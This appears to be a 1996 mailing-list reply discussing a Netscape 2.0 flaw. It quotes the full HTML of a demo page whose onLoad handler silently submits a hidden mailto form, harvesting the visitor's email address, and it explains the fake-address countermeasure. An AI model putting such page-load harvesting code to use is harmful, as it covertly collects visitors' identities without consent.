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Re: JavaScript to grab email



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On Tue, 20 Feb 1996, Mike Rose wrote:

> >Probably there will soon be thousands of pages which include this code,
> >and people using Netscape 2.0 will be spammed with commercial messages.
> >So just put some false e-mail address in your Netscape browser to disable
> >this feature.
>
> Changing the email address known to netscape doesn't help.  Your email
> address is in the message sent, regardless of what netscape thinks
> your identity is.

I'm not sure I understand what you are saying.  The Javascript program
uses Netscape to send the e-mail.  The only way Netscape knows your actual
e-mail address is if you tell Netscape what it is.  The comments on the
page tell you that deleting your e-mail address from Netscape's config, or
supplying it with a false one, prevents the script from working.  I visited
the page using a fake e-mail address, and have yet to be sent a confirmation
e-mail.

BTW, here's the source for the page:

<HTML>
<HEAD>
</HEAD>
<BODY onLoad="document.mailme.submit()">
<!-- Howdy! yeah, the code is pretty darn simple, eh? Soon 1,000s of people
will be scamming email addresses in this manner. At least we discovered it
first. The real trick to make it stop? Put a bogus email address in your
browser's "email reply" ent. Or leave it blank-->
<form method=post name="mailme"
action="mailto:[email protected]?subject=scammed address">
<h3>Viewing this page automatically submits email to an address which then
sends you back email to prove it grabbed the message.</h3>
<input type=hidden name="scammed.the.address" value="did it">
</form>
</BODY></HTML>

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